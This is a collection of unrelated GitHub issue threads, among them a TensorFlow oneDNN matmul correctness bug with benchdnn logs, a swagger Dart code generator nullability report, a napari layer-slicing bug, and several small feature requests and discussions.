2023-08-09 10:54:14.081993: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2023-08-09 10:54:14.131952: I tensorflow/tsl/cuda/cudart_stub.cc:28] Could not find cuda drivers on your machine, GPU will not be used.
2023-08-09 10:54:14.132449: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 AVX512F AVX512_VNNI AVX512_BF16 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
2023-08-09 10:54:16.185646: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT
onednn_verbose,info,oneDNN v2.7.3 (commit N/A)
onednn_verbose,info,cpu,runtime:threadpool,nthr:72
onednn_verbose,info,cpu,isa:Intel AVX-512 with Intel DL Boost and bfloat16 support
onednn_verbose,info,gpu,runtime:none
onednn_verbose,info,prim_template:operation,engine,primitive,implementation,prop_kind,memory_descriptors,attributes,auxiliary,problem_desc,exec_time
onednn_verbose,exec,cpu,matmul,brg:avx512_core,undef,src_f32::blocked:acb:f0 wei_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,attr-scratchpad:user ,,3x3x5000:3x5000x3:3x3x3,0.442139
[[[ 1.1928000e+04  4.0859866e+02  3.7975815e+02]
  [ 4.0859866e+02  1.1693020e+04 -9.1308746e+00]
  [ 3.7975815e+02 -9.1308746e+00  1.1971855e+04]]

 [[ 0.0000000e+00  0.0000000e+00  0.0000000e+00]
  [ 0.0000000e+00  1.8600073e+02  0.0000000e+00]
  [ 0.0000000e+00  1.1210388e-44  0.0000000e+00]]

 [[ 4.5191123e-06  2.0196074e-40  1.1210388e-44]
  [ 0.0000000e+00  3.0517854e-36  0.0000000e+00]
  [ 0.0000000e+00  0.0000000e+00  3.0522912e-36]]]

Benchdnn results:
$ DNNL_VERBOSE=1 ./benchdnn --matmul --stag=acb 3x3x5000:3x5000x3:3x3x3
onednn_verbose,info,oneDNN v2.7.3 (commit 7710bdc92064a08b985c5cbdb09de773b19cba1f)
onednn_verbose,info,cpu,runtime:OpenMP,nthr:72
onednn_verbose,info,cpu,isa:Intel AVX-512 with Intel DL Boost and bfloat16 support
onednn_verbose,info,gpu,runtime:none
onednn_verbose,info,prim_template:operation,engine,primitive,implementation,prop_kind,memory_descriptors,attributes,auxiliary,problem_desc,exec_time
onednn_verbose,exec,cpu,reorder,jit:uni,undef,src_f32::blocked:abc:f0 dst_f32::blocked:acb:f0,,,3x3x5000,3.79419
onednn_verbose,exec,cpu,reorder,simple:any,undef,src_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,,,3x5000x3,0.0388184
onednn_verbose,exec,cpu,matmul,brg:avx512_core,undef,src_f32::blocked:acb:f0 wei_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,,,3x3x5000:3x5000x3:3x3x3,0.166016
onednn_verbose,exec,cpu,reorder,simple:any,undef,src_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,,,3x3x3,0.0319824
onednn_verbose,exec,cpu,reorder,simple:any,undef,src_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,,,3x3x3,0.0361328
[   0][DST][0:0:0] exp_f32:  -35516 exp:  -35516 got: -539159 diff:  503643 rdiff: 14.1807
[   1][DST][0:0:1] exp_f32:  114098 exp:  114098 got:  -19606 diff:  133704 rdiff: 1.17183
[   2][DST][0:0:2] exp_f32:     929 exp:     929 got:   22304 diff:   21375 rdiff: 23.0086
[   3][DST][0:1:0] exp_f32:   68428 exp:   68428 got: -518338 diff:  586766 rdiff: 8.57494
[   4][DST][0:1:1] exp_f32:   51054 exp:   51054 got: -275533 diff:  326587 rdiff: 6.39689
[   5][DST][0:1:2] exp_f32:   58651 exp:   58651 got:  154408 diff:   95757 rdiff: 1.63266
[   6][DST][0:2:0] exp_f32: -137905 exp: -137905 got:  221970 diff:  359875 rdiff: 2.60959
[   7][DST][0:2:1] exp_f32:  -73033 exp:  -73033 got:  346390 diff:  419423 rdiff: 5.74292
[   8][DST][0:2:2] exp_f32:  287192 exp:  287192 got:   45300 diff:  241892 rdiff:0.842266
0:FAILED (errors:27 total:27) __REPRO: --matmul --stag=acb 3x3x5000:3x5000x3:3x3x3
tests:1 passed:0 skipped:0 mistrusted:0 unimplemented:0 invalid_arguments:0 failed:1 listed:0
total compute_ref: sum(s):0.00

The fix is now available in oneDNN v2.7.5. Current version, oneDNN v3.2.1 is not affected.

The fix is now available in oneDNN v2.7.5. Current version, oneDNN v3.2.1 is not affected.

Thanks a lot for a quick fix! Is it possible to include it in 2.13.1?

hi @zhezherun there is no plan for updating oneDNN to 2.7.5 in TF 2.13.1.   We are expecting to updating oneDNN with this fix in the upcoming release of TF 2.14.

hi @zhezherun there is no plan for updating oneDNN to 2.7.5 in TF 2.13.1. We are expecting to update oneDNN with this fix in the upcoming release of TF 2.14.

I see, unfortunately this means that TF 2.13 is unusable for us :(

@zhezherun  are you able to build TF by yourself?  You can patch TF 2.13 to use oneDNN 2.7.5.

I also observed similar computing bugs in the following APIs in some older versions of tensorflow.
Users should be cautious when using them on CPU from tensorflow 2.9.0 (v2.9.0-rc2-42-g8a20d54a3c1) to 2.13.0 (v2.13.0-rc2-7-g1cb1a030a62).

tf.linalg.matmul, tf.matmul, tf.compat.v1.linalg.matmul, tf.compat.v1.matmul

It seems to be fixed by pull request #61595, and tensorflow 2.14.0-rc1 (v2.14.0-rc0-34-gdd01672d9a9) and nightly (2.15.0-dev20230906) are not affected.
I also found a slight numerical precision difference between CPU and GPU, which is acceptable in many cases but should be noted.

Show outputs
The GPU outputs:
v2.14.0-rc0-34-gdd01672d9a9 2.14.0-rc1
[PhysicalDevice(name='/physical_device:CPU:0', device_type='CPU'), PhysicalDevice(name='/physical_device:GPU:0', device_type='GPU')]
[[[5000.        128.77832   131.63278 ]
  [ 128.77832  4929.636     -54.427303]
  [ 131.63278   -54.427303 4999.2427  ]]

 [[5000.        128.77832   131.63278 ]
  [ 128.77832  4929.636     -54.427303]
  [ 131.63278   -54.427303 4999.2427  ]]

 [[5000.        128.77832   131.63278 ]
  [ 128.77832  4929.636     -54.427303]
  [ 131.63278   -54.427303 4999.2427  ]]]

The CPU outputs:
v2.14.0-rc0-34-gdd01672d9a9 2.14.0-rc1
[PhysicalDevice(name='/physical_device:CPU:0', device_type='CPU')]
[[[5000.       128.78206  131.61627]
  [ 128.78206 4929.8867   -54.45468]
  [ 131.61627  -54.45468 4999.636  ]]

 [[5000.       128.78206  131.61627]
  [ 128.78206 4929.8867   -54.45468]
  [ 131.61627  -54.45468 4999.636  ]]

 [[5000.       128.78206  131.61627]
  [ 128.78206 4929.8867   -54.45468]
  [ 131.61627  -54.45468 4999.636  ]]]

Thanks @tilakrayal, I confirm that 2.14 is working


Markdown for cli ?

Hi !
I wonders hardly if you believe it s possible to use that lib to output formatted markdown on cli.
I did myself wrote some modules for that, but found it really difficult, the final results is not as good as i would like.
Let s say for the basics it s just ok and i d like get something much better.
So here am i looking for some ideas, advises or whatever.
Thanks !

@maboiteaspam Thanks for reporting your Issue;
I’m not sure what you’re asking, are you asking for the --output option?

Let s say for the basics it s just ok and i d like get something much better.

Could you show some examples of what input should generate what output?

Hi !
It s not issue. Just questions about display formatted markdown on CLI.
I don t think its about --output, as this switch its to control where the data are piped out.
I do want to display pretty printed markdown in my command line.
I achieve it once (see below), but i m not satisfied. Especially the MD parsing step. So i m looking for an alternative.
I m sorry, i never produced a gif or whatever of the modules i made to do that,
The most straightforward example would be the screenshot available here
https://github.com/RodrigoEspinosa/md-open
It is where i started myself : )
Then after i made more work, to display more advanced syntax.
but you ll need to try them or wait i produce a gif or something.
https://github.com/maboiteaspam/showusage
https://github.com/maboiteaspam/md-stream-utils
https://github.com/maboiteaspam/md-tokenizer
Hope its more clear !

So you need something like marked-terminal but for mdast?

@eush77 Thanks!
@maboiteaspam Do you want syntax highlighting, or document viewing? As in, *foo* should be displayed in italics, but should it still have the asterisks?

rocks, it s great !


Make countryHint an extensible enum

Make defaults strongly typed.
https://github.com/Azure/azure-sdk-for-net/pull/8677#discussion_r345395540

Related #8712

Close per https://github.com/Azure/azure-sdk-for-net/issues/8712


Include stdio.h for vsnprintf in buffer.h

vsnprintf is defined in stdio.h:
https://github.com/bminor/glibc/blob/734e7f91e752f44984fe42c2384c23a0290b6e56/libio/stdio.h#L389
All the examples include both stdio.h and stdarg.h when using vsnprintf. For whatever reason, on the emscripten target there is an error due to missing vsnprintf but on other targets there is no error.

Okay, sure!


Add wrap to person card

Prevent truncated inputs for super long addresses and instead wrap them to the next line.

Attached below is the test in case anyone wants to test it.
============================================================================
add n/Tee Chinssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss p/97200920000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<EMAIL_ADDRESS>a/ssdjdpsodnd

Codecov Report

Merging #288 (d8d9120) into master (5eb2b73) will increase coverage by 0.01%.
The diff coverage is 100.00%.

@@             Coverage Diff              @@
##             master     #288      +/-   ##
============================================
+ Coverage     70.35%   70.36%   +0.01%
- Complexity      578      579       +1
============================================
  Files            98       98
  Lines          2125     2126       +1
  Branches        171      171
============================================
+ Hits           1495     1496       +1
  Misses          542      542
  Partials         88       88

Impacted Files
Coverage Δ

src/main/java/donnafin/ui/PersonCard.java
87.50% <100.00%> (+0.83%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5eb2b73...d8d9120. Read the comment docs.


Accessibility goals + public statement & contact

We've had some fleeting discussions in the past about accessibility, but we need to capture some concrete goals (some of which may be important to get done before the Hackathon!)
What are the ways we can commit to improving accessibility to our website and build accessible design into our offerings? Suggestions:

[ ] Create an accessibility statement (e.g. UCAR's) describing out commitment
[ ] Include a dedicated communication channel for accessibility concerns and feedback
[ ] Implement theme configs (very useful read!), site maps, and other helpful considerations from other projects in our space
[ ] Automate auditing of the accessibility of our sites and Cookbooks
[ ] From @jukent: proactive language considerations, room for translation work, and non-English annotations to content
[ ] From @jukent: design considerations for screen readers, e.g. descriptive link text and meaningful alt text on images

This may be better represented as a Discourse discussion, but I wanted to capture at least the first two as action items we can cross off in issues to make sure to get done before the Hackathon.

Perhaps you all just got an email through our team alias, I entered our site into Site Improve and we got an accessibility score of 81. It wasn't very informative on what we were marked down for. I might request a full report.
Something that could work for screen reader improvement along with descriptive link text is making sure our images have descriptions.

The UCAR's accessibility statement starts similar to, "Project Pythia takes the accessibility of our educational portal seriously and have implemented the following measures to improve accessibility of our internal and external websites:"
So I have to ask what measures have we taken?
We're committed to free and open source content, reducing the barrier to entry in the geosciences. We have open monthly community meetings. We partner with outreach efforts such as ScienceMatch to serve broad communities.


Set time limit to avoid getting stuck

Is your feature request related to a problem? Please describe.
For some people the installer gets stuck either downloading the asar file (#35 / #137) or attempting to kill Discord (#25).
Describe the solution you'd like
Add a time limit to those actions, the installer will warn the user with an error and maybe suggest some solutions or alternatives.

This is a problem with the phin node http request library. It would be better not to work around it but rather having this fixed. There has been a pull request for it for more about 2 months now without any reaction by the mainainers which would cause me to look for alternatives at this point. https://github.com/ethanent/phin/issues/59


Remove RankedTensorType verification check for CholeskyOp

closes #2138

Thanks for the context! I ran into it by chance while working with this op in another context, so I decided I'd fix it on a whim.


[BUG] Different nullability in the generated code, depending on whether the type of the property is specified with '$ref'.

Describe the bug
Even properties with the same attributes may have different nullability in the generated code, depending on whether the type of the property is specified with '$ref'.
To Reproduce & Expected behavior
example.json
{
  "openapi" : "3.0.0",
  "info" : {
    "title" : "Example",
    "version" : "1.0.0"
  },
  "servers" : [ {
    "url" : "https://example.com/"
  } ],
  "paths" : {
    "/api" : {
      "get" : {
        "responses" : {
          "200" : {
            "content" : {
              "application/json" : {
                "schema" : {
                  "$ref" : "#/components/schemas/ExampleObject"
                }
              }
            },
            "description" : "Example"
          }
        }
      }
    }
  },
  "components" : {
    "schemas" : {
      "ExampleObject" : {
        "properties" : {
          "prop_a" : {
            "type" : "string"
          },
          "prop_b" : {
            "$ref" : "#/components/schemas/example_type"
          }
        },
        "required" : [ "prop_a", "prop_b" ],
        "type" : "object"
      },
      "example_type" : {
        "type" : "string"
      }
    }
  }
}

The object named ExampleObject defines two properties, prop_a and prop_b. Both of these properties share the following attributes:

type: string
required: true
nullable: not specified (implicitly treated as non-nullable)

The difference lies solely in whether the attributes are specified using $ref. However, this results in distinct outcomes in the generated code: propA is non-nullable, and propB is nullable. The expected outcome is for both propA and propB to be non-nullable.
example.models.swagger.dart (Generated dart code)
@JsonSerializable(explicitToJson: true)
class ExampleObject {
  const ExampleObject({
    required this.propA,
    required this.propB,
  });

  ...

  @JsonKey(name: 'prop_a')
  final String propA;
  @JsonKey(name: 'prop_b')
  final String? propB;

build.yml (Build options)
targets:
  $default:
    sources:
      - openapi/**
    builders:
      swagger_dart_code_generator:
        options:
          input_folder: 'openapi/gen'
          output_folder: 'lib/gen/api'
          separate_models: true

Swagger specification link

Library version used
2.12.2, 2.13.1
The nullability in the generated code was very unstable across several updates after 2.11.11 (2.11.12, 2.11.12, 2.11.13, 2.12.1). It has been adjusted to be closer to the results of 2.11.11 in version 2.12.2. However, the issue described in this ticket has not been resolved yet.
Additional context
I have prepared an input file as follows and investigated the changes in nullability in the code generated with recent versions, so I will also report the results.
{
  "openapi" : "3.0.0",
  "info" : {
    "title" : "Example",
    "version" : "1.0.0"
  },
  "servers" : [ {
    "url" : "https://example.com/"
  } ],
  "paths" : {
    "/api" : {
      "get" : {
        "responses" : {
          "200" : {
            "content" : {
              "application/json" : {
                "schema" : {
                  "$ref" : "#/components/schemas/ExampleObject"
                }
              }
            },
            "description" : "Example"
          }
        }
      }
    }
  },
  "components" : {
    "schemas" : {
      "ExampleObject" : {
        "properties" : {
          "prop" : {
            "type" : "string"
          },
          "prop_nullable" : {
            "nullable" : true,
            "type" : "string"
          },
          "prop_required" : {
            "type" : "string"
          },
          "prop_required_nullable" : {
            "nullable" : true,
            "type" : "string"
          },
          "prop_ref" : {
            "$ref" : "#/components/schemas/example_type"
          },
          "prop_ref_nullable" : {
            "$ref" : "#/components/schemas/example_type_nullable"
          },
          "prop_ref_required" : {
            "$ref" : "#/components/schemas/example_type"
          },
          "prop_ref_required_nullable" : {
            "$ref" : "#/components/schemas/example_type_nullable"
          }
        },
        "required" : [ "prop_ref_required", "prop_ref_required_nullable", "prop_required", "prop_required_nullable" ],
        "type" : "object"
      },
      "example_type" : {
        "type" : "string"
      },
      "example_type_nullable" : {
        "nullable" : true,
        "type" : "string"
      }
    }
  }
}

Property definition of the ExampleObject in example.json

property
type
required
nullable
$ref ※

prop
string
-
-
---

prop_nullable
string
-
yes
---

prprop_required
string
yes
-
---

prop_required_nullable
string
yes
yes
---

prop_ref
string
-
-
yes

prop_ref_nullable
string
-
yes
yes

prop_ref_required
string
yes
-
yes

prop_ref_required_nullable
string
yes
yes
yes

※ $ref is used to reference the type of a property, as in the following example
        prop_ref:
          $ref: '#/components/schemas/example_type'

Code generation results for example.json by version

🔴 : Fields that are required in the constructor
🔵 : Nullable fields

field
2.11.11
2.11.12
2.11.12 ※
2.11.13
2.12.1
2.12.2

prop
🔵
🔴
-
🔵
🔴
🔵

propNullable
🔵
🔵
🔵
🔵
🔵
🔵

propRequired
🔴
🔴
-
🔴
🔴
🔴

propRequiredNullable
🔴🔵
🔵
🔵
🔴
🔴
🔴🔵

propRef
🔵
🔴
-
🔵
🔴
🔵

propRefNullable
🔵
🔴🔵
🔵
🔵
🔴🔵
🔵

propRefRequired
🔴
🔴
-
🔴🔵
🔴
🔴🔵

propRefRequiredNullable
🔴🔵
🔴🔵
🔵
🔴🔵
🔴🔵
🔴🔵

※ : When the generation option nullable_fields: true is used
Through version updates, the code generated by 2.12.2 (as well as the latest 2.13.1) has come closer to that of 2.11.11, but only propRefRequired still differs.

I have prepared an input file as follows and investigated the changes in nullability in the code generated with recent versions, so I will also report the results.
{
  "openapi" : "3.0.0",
  "info" : {
    "title" : "Example",
    "version" : "1.0.0"
  },
  "servers" : [ {
    "url" : "https://example.com/"
  } ],
  "paths" : {
    "/api" : {
      "get" : {
        "responses" : {
          "200" : {
            "content" : {
              "application/json" : {
                "schema" : {
                  "$ref" : "#/components/schemas/ExampleObject"
                }
              }
            },
            "description" : "Example"
          }
        }
      }
    }
  },
  "components" : {
    "schemas" : {
      "ExampleObject" : {
        "properties" : {
          "prop" : {
            "type" : "string"
          },
          "prop_nullable" : {
            "nullable" : true,
            "type" : "string"
          },
          "prop_required" : {
            "type" : "string"
          },
          "prop_required_nullable" : {
            "nullable" : true,
            "type" : "string"
          },
          "prop_ref" : {
            "$ref" : "#/components/schemas/example_type"
          },
          "prop_ref_nullable" : {
            "$ref" : "#/components/schemas/example_type_nullable"
          },
          "prop_ref_required" : {
            "$ref" : "#/components/schemas/example_type"
          },
          "prop_ref_required_nullable" : {
            "$ref" : "#/components/schemas/example_type_nullable"
          }
        },
        "required" : [ "prop_ref_required", "prop_ref_required_nullable", "prop_required", "prop_required_nullable" ],
        "type" : "object"
      },
      "example_type" : {
        "type" : "string"
      },
      "example_type_nullable" : {
        "nullable" : true,
        "type" : "string"
      }
    }
  }
}

Property definition of the ExampleObject in example.yml

property
type
required
nullable
$ref ※

prop
string
-
-
---

prop_nullable
string
-
yes
---

prprop_required
string
yes
-
---

prop_required_nullable
string
yes
yes
---

prop_ref
string
-
-
yes

prop_ref_nullable
string
-
yes
yes

prop_ref_required
string
yes
-
yes

prop_ref_required_nullable
string
yes
yes
yes

※ $ref is used to reference the type of a property, as in the following example
        prop_ref:
          $ref: '#/components/schemas/example_type'

Code generation results for example.yml by version

🔴 : Fields that are required in the constructor
🔵 : Nullable fields

field
2.11.11
2.11.12
2.11.12 ※
2.11.13
2.12.1
2.12.2

prop
🔵
🔴
-
🔵
🔴
🔵

propNullable
🔵
🔵
🔵
🔵
🔵
🔵

propRequired
🔴
🔴
-
🔴
🔴
🔴

propRequiredNullable
🔴🔵
🔵
🔵
🔴
🔴
🔴🔵

propRef
🔵
🔴
-
🔵
🔴
🔵

propRefNullable
🔵
🔴🔵
🔵
🔵
🔴🔵
🔵

propRefRequired
🔴
🔴
-
🔴🔵
🔴
🔴🔵

propRefRequiredNullable
🔴🔵
🔴🔵
🔵
🔴🔵
🔴🔵
🔴🔵

※ : When the generation option nullable_fields: true is used

Hi @temoki , according logic, both properties should be not nullable. Fixed

@Vovanella95 Thanks⭐

@Vovanella95
Which version will this fix be included in?

Hi @temoki , today :)


Don't send offers to new windows before first interaction

Currently it's possible to steal the current selection by creating a new window (which can be transparent).
Instead we could wait for the first interaction with the window (key press, click, …) to send selection offers.

Instead we could wait for the first interaction with the window (key press, click, …) to send selection offers.

I believe modifiers key presses should not be counted as a first interaction, so it is possible to close the window using a key binding without exposing the clipboard.

Would need to make sure we send offers before the actual interaction event though, so something like "open a new window, first interaction is middle-click paste" still works.
Although with protocols being asynchronous, if you wait for that middle-click to send the offer it might be somewhat unreliable?..

Would need to make sure we send offers before the actual interaction event though, so something like "open a new window, first interaction is middle-click paste" still works.

That's the same as "window is not focused, focus it with middle-click paste", which works currently.

Although with protocols being asynchronous, if you wait for that middle-click to send the offer it might be somewhat unreliable?..

Asynchronous doesn't mean out-of-order.

Asynchronous doesn't mean out-of-order.

Depending on the protocol it doesn't need to be out-of-order to be unreliable (e.g. if the offer would have needed a round-trip to setup); but that's apparently not the case here.
Anyway, you're correct that it's the same as focusing a window with middle-click, and that works on rootston - it's not necessarily difficult, just something to be careful about (it will almost certainly be different in implementation if the new view has focus but not offers, as we just send offer when focusing)


Option to allow players to view but not edit effects

My players often don't have any idea what the symbols on their characters mean given the amount of effects that are flying around so having this to let them check is great. However, while I trust my players to not intentionally delete things by clicking on them they're pretty good at breaking things by mistake. It would be great to have a view permission that was "player-editing disabled" or some such so that players could view but not click on the status info. That way they could be kept from causing problems while still getting the benefit of the effects panel.

Sure, that is possible. But you know that they could just go to the effects tab on their character sheet and do whatever they wanted, right?

Absolutely, but that would require them to actually poke around their character sheets (unlikely for my players at least, bless their hearts) and there's no risk of accidental right clicking on the wrong part of the screen taking out stuff.  I'm not worried about intentional messing about but my folks have trouble remembering basic stuff about how foundry works from week to week so it's just a thought to prevent issues from folks like them. It is at most a minor QOL request and no worries if you think it's not a big enough deal to justify the effort to make changes. Just wanted to flag the potential use case. Thanks for looking at it.

my folks have trouble remembering basic stuff about how foundry works from week to week

I feel this in my soul.
I'll probably add it.

Lost track of this, but ultimately it doesn't really stop anybody from doing this so I won't be adding it


feat: add gleam

Add support for the Gleam programming language. Most of the work here was done by @wesleimp but I'm reopening as work on #1993 seems to be stalled. Please let me know if this isn't the right thing to do.

Thank you @UnsolvedCypher and @glepnir !


Add workaround for messages with non-monotonic timestamps

Maybe a compromise for #2?

I think the right solution is to use something like this, but boxed so that it is only applied to messages within a time range. basically, to make what actually happened (by accident) into law.
But I will not rush to making hard-to-reverse changes to the most fundamental aspects of the protocol without carefully exploring the consequences first, and discussing with the various people who might be affected.


[Feature] Ability to create bookmark folder from (edit screen) EditSavedSiteDialogFragment -> BookmarkFoldersActivity

Feature Description
Users should be able to create a new folder from the EditSavedSiteDialogFragment/edit screen, which is much more convenient than going back to the bookmarks screen and creating a folder and then going back again to select that folder for the bookmark.
Even if the user goes to the bookmarks list screen and then wishes to check the folder there is no add folder directly from the edit screen. The user will need to come back to the parent list screen and then add the folder and then go back to update the bookmark location.
Suggested Behaviour
Giving add folder option on the BookmarkFoldersActivity solves the above problem.

Hey @4shutosh it's a nice idea.
However, please open a discussion for this one (you can add also https://github.com/duckduckgo/Android/issues/1440 in the same discussion since they are both related) to suggest any bookmark improvement.
As per our contributions guidelines, we only accept Bug reports as Issues.


baud rate 2M

please consider adding more supported baud rates,
there are few more that should work: http://play.golang.org/p/OvvdWmL56N
i have tried using 2M, and it works,
later i can provide a pull request.

As I mentioned in https://github.com/tarm/serial/pull/37#discussion_r47597461 higher baud rates are likely not portable.  Testing on one OS is not enough.
I am open to adding higher baud rates on platforms that support it iff it can be done in a portable manner.  That might be build constraints or #defines in cgo code.

It is possible (on Windows at least) to query the baud rates supported by a port. However, some ports return a list of "standard" rates but actually support arbitrary rates (e.g. I've used 111111 baud).
I don't think you can do anything other than allowing the user to set any baud rate, and failing if it doesn't succeed.


Make self-update and doh-dot the default examples

At the moment, we have 3 different examples to run the adblock server, and 3 different image versions. I think that is too much, and best to just consolidate the examples and the different dns versions.
The logs server should just reduce to 1 image as well.

[x] Should make self-update the default behaviour of dns. I think image tag should just be latest, and we can drop the other tags. User should able to override behaviour with environment variables
[x] Should consolidate dns into single folder, and have less scripts to maintain
[x] Should make usage with dnsdist the default example. Deprecate the previous logs-viewer image
[x] With docker hub pull limits, should deprecate watchtower as well, or reduce the pull frequency to just once a day. Actually with self-update, we probably don't need watchtower anymore.
[x] Should update readme to make it simpler to run

Ok, that went well. I did a lot here already. Closing this for now since I'm not sure what else to do.


Update in readme section

Update the README.md section

Assign me this issue

/assign

Assign me this issue

What you want to update ?

I want to add some more catchy lines

Is this stile active ?

Yes @jyotirmaya907

Assign me the issue... and let me know what exactly you wanna add


Slicing does not always occur when removing a layer

🐛 Bug
Removing a points layer's data can cause the viewer to get in a state where no data is presented, as demonstrated in the following video.
https://github.com/napari/napari/assets/2608297/a4f041e1-83cc-4b8b-b593-9e737d5c2a53
I think we need two conditions for this particular failure (similar to #6198).

Removing a layer causes a change in the unified extent across all layers.
The current slicing plane defined by Dims.point is no longer in that unified extent.

I don't see an obvious way to recover from this state either through the GUI or through the public API. One way to do it with the private API is to call viewer._update_layers().
Note that Dims.point is changed, but this is done in the root validator of Dims due to the change in Dims.range, so no event is emitted and thus no slicing occurs. Therefore, this probably occurs for other layer types.
To Reproduce
def test_dimension_change_is_visible_in_viewport():
    viewer = ViewerModel()

    # Adding a 4d point leads to a visible 4d point with dims.point
    # having the same values.
    point_4d = viewer.add_points([[0] * 4])
    assert viewer.dims.point == tuple([0] * 4)
    np.testing.assert_array_equal(point_4d._indices_view, [0])

    # Adding a 5d point with different 4d coordinates does not change the viewport.
    # Only the first (actual 5th) dimension of the dims.point should change.
    point_5d = viewer.add_points([[2] * 5])
    assert viewer.dims.point == tuple([2] + [0] * 4)
    np.testing.assert_array_equal(point_4d._indices_view, [0])
    np.testing.assert_array_equal(point_5d._indices_view, [])

    # Removing the 4d point leads to an update of the viewport and dims.
    viewer.layers.remove(point_4d)
    assert viewer.dims.point == tuple([2] * 5)
    # This fails
    np.testing.assert_array_equal(point_5d._indices_view, [0])

    # Adding another 4d point does not lead to an update of the viewport
    # because the current dims.point is still in the unified extent.
    point_4d = viewer.add_points([[0] * 4])
    assert viewer.dims.point == tuple([2] * 5)
    np.testing.assert_array_equal(point_4d._indices_view, [])
    np.testing.assert_array_equal(point_5d._indices_view, [0])

    # Removing the 5d point leads to an update of the viewport and dims.
    viewer.layers.remove(point_5d)
    assert viewer.dims.point == tuple([0] * 4)
    np.testing.assert_array_equal(point_4d._indices_view, [0])

Expected behavior
Slicing should occur when a layer is removed like this. At a minimum, using the reset view should get us back into a usable state.
Environment
napari: 0.5.0a2.dev391+gb29f3ed4d.d20230814
Platform: macOS-10.16-x86_64-i386-64bit
System: MacOS 13.5
Python: 3.9.6 (default, Jul 30 2021, 09:31:09) [Clang 10.0.0 ]
Qt: 5.15.2
PyQt5: 5.15.4
NumPy: 1.25.1
SciPy: 1.10.1
Dask: 2023.6.1
VisPy: 0.13.0
magicgui: 0.7.0rc1.dev6+ga3bdc90
superqt: 0.5.3
in-n-out: 0.1.5
app-model: 0.1.4
npe2: 0.7.0

OpenGL:
- GL version: 2.1 INTEL-20.6.4
- MAX_TEXTURE_SIZE: 16384

Screens:
- screen 1: resolution 1920x1080, scale 1.0

Settings path:
- /Users/asweet/Library/Application Support/napari/napari-dev-pyqt5_cc8ffd7cdbca034eda3f67dc1b401303ece224df/settings.yaml

Additional context
Coming from https://github.com/napari/napari/pull/4819 which contained a fix at one commit, but one which was not quite precise enough (i.e. it also caused slicing to occur when unneeded.

@andy-sweet fyi this was the issue I was thinking about during the Pacific meeting. 😅
Anyway, how old is this bug? Would it be a regression vs 0.4.19? If so then we should definitely have a fix ready before release.

@andy-sweet fyi this was the issue I was thinking about during the Pacific meeting. 😅
Anyway, how old is this bug? Would it be a regression vs 0.4.19? If so then we should definitely have a fix ready before release.

From memory, this bug has been around in some form (maybe various forms!) for much longer than v0.4.19. So I don't think this should block a 0.5 release.


My subscriptions list in grid layout is misaligned by a long shot

I have this issue for quite a while now, and maybe it will become more problematic in the long run since you've changed the menu options of subscriptions in grid layout into default.

Sorry I replied late, I am currently using firefox, i tested it on other browser same issue persists.

Can you try with another account?

it works, kinda but the names are under the profile of the channel

I think the reason it's not working for you is because of the new UI update Youtube issue.

it works, kinda but the names are under the profile of the channel

The channel name is too long I'll fix it in the update, anyway you can turn it off

thanks for looking up on this, will wait for a fix, in the meantime I'll just turn off the grid layout

@Bottomfard6127 Are the bugs fixed in v2.0.2?

hello sorry for the late reply its still not fixed sadly

btw I came to report also that there is also another bug where in the search results the profile is still at circular form even though I put it in zero value or square.

Can you try to turn off other extensions that affect YouTube except AdashimaaTube?

I did now and both the bugs are still present

what is this extension/script?

its this one

I already turned it off as well as the other scripts but the bug still persist

Can you try with another account?

sure thing be back in a second

damn it works well with my other acc

I knew it LOL

man youtube just love screwing with my main account

any idea whats wrong with it?

both the bugs are fixed in my other account by the way

I have no clue.

any idea whats wrong with it?

I can't reproduce the bugs since it did not happen my account, but if you really want to fix it you can give me your account.

no offense but I'll have to politely decline that for now, its not that major of a bug that will ruin my experience, I might though on bugs that just plainly ruins my youtube

It's ok btw I'll still open these issues and I want to know who else has been affected.

Good idea, good luck out there imma go to sleep

It's ok btw I'll still open these issues and I want to know who else has been affected.

Have a good sleep 😊

Hello mate, back again with another bug report, so the option of removing the thanks, and clip button is kinda broken right now, when I click on a video supporting those options they still appear even though I have them on, they do disappear when I turn off and on the script but when I click out of the video and then rewatch, they appear again, even though I have them turned off, I haven't tested the other options of removing buttons or if this is a me problem too but I'll put it in here just in case

Can you create a new issue please.

affirmative, sorry to dump it here mate wait a minute


Item name not filled in toast

<IP_ADDRESS>8~84637c5

i would like to start my first contribution on this

Why is this still open?

If its not done yet I can contribute to it @nicolas-raoul

Hi @chaytanyasinha , we usually make one issue once. Since you already claimed another issue, it is better to focus that one first. If you want to claim this one instead, please write a comment under #3202 so that others can work on it.

I am sorry @neslihanturan, actually I was cloning the extensions and till then going through other issues and just because I was not that I can't work on 2 issues at same time I commented

It is totally okay @chaytanyasinha , thanks for your interest:) It is also always okay to leave the other issue and pick new ones.

@draco-malfoy I haven't tested it yet.
Would you mind testing and posting a screenshot of the result? Thanks :-)

@nicolas-raoul
If it's still open can i work on this?

@318anushka please verify the issue exists and then start working on it

